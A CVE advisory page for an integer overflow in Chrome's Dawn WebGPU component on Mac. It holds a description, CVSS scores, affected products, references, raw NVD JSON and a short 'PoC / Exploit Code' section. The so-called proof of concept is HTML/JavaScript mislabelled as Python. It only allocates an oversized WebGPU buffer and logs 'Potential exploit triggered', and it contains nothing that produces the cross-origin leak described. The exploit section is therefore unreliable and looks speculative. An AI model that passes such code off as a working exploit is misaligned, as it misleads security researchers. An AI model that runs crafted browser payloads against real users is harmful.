CVE-2026-4453

Description

Integer overflow in Dawn in Google Chrome on Mac prior to 146.0.7680.153 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome on Mac < 146.0.7680.153

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for CVE-2026-4453: Integer Overflow in Dawn -->
<html>
<body>
<script>
async function trigger_overflow() {
    // Check WebGPU support
    if (!navigator.gpu) return;
    const adapter = await navigator.gpu.requestAdapter();
    const device = await adapter.requestDevice();

    try {
        // Attempt to trigger integer overflow in Dawn via buffer creation
        // Using a large size value that may cause arithmetic overflow
        const vuln_size = 0x100000000; 
        const bufferDesc = {
            size: vuln_size,
            usage: GPUBufferUsage.COPY_DST | GPUBufferUsage.MAP_READ
        };
        const buffer = device.createBuffer(bufferDesc);
        
        // If overflow occurs, memory layout might be manipulated
        console.log("Potential exploit triggered.");
    } catch (e) {
        console.log("Exploit failed or patched: " + e);
    }
}
trigger_overflow();
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-4453
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-4453
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-4453/
[4] VulDB https://vuldb.com/cve/CVE-2026-4453
[5] https://chromereleases.googleblog.com/2026/03/stable-channel-update-for-desktop_18.html
[6] https://issues.chromium.org/issues/488400770

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-4453", "sourceIdentifier": "[email protected]", "published": "2026-03-20T02:16:38.357", "lastModified": "2026-03-20T19:04:24.210", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Integer overflow in Dawn in Google Chrome on Mac prior to 146.0.7680.153 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: High)"}, {"lang": "es", "value": "Desbordamiento de entero en Dawn en Google Chrome en Mac anterior a 146.0.7680.153 permitió a un atacante remoto filtrar datos de origen cruzado a través de una página HTML manipulada. (Gravedad de seguridad de Chromium: Alta)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-472"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-190"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "146.0.7680.153", "matchCriteriaId": "3526166A-E44B-47EE-8E47-1C1937CB2B87"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/03/stable-channel-update-for-desktop_18.html", "source": "[email protected]", "tags": ["Vendor Advisory", "Release Notes"]}, {"url": "https://issues.chromium.org/issues/488400770", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}